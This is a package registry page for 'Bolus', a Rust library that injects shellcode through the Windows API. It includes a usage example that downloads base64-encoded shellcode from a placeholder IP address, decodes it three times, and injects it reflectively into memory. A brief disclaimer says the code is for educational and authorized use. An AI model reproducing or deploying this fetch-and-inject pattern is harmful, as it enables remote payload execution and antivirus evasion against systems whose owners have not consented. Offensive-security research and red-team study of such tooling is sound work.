3 unstable releases
0.2.0 | Sep 14, 2023 |
---|---|
0.1.1 | Jun 4, 2023 |
0.1.0 | Jun 4, 2023 |
#3 in #shellcode
50 downloads per month
12KB
187 lines
Bolus
Library for shellcode injection using the Windows API.
WARNING: This code is for educational purposes only. The creator strongly urges you to only use this code in authorized contexts. Don't do crimes.
Usage
The following is an example implementation, which can be observed in RustyNeedle:
use bolus::{
inject,
load,
injectors::{
InjectionType,
InjectorType
}
};
/// The URL where shellcode will be downloaded from
const URL: &str = "http://1.2.3.4/note.txt";
/// The # of base64 iterations to decode
const B64_ITERATIONS: usize = 3;
fn main() -> Result<(), String> {
let injector = load(
InjectorType::Base64Url((
URL.to_string(),
B64_ITERATIONS
))
)?;
inject(
injector,
InjectionType::Reflect,
true
)
}
Documentation
Full docs at docs.rs
Dependencies
~167MB
~2.5M SLoC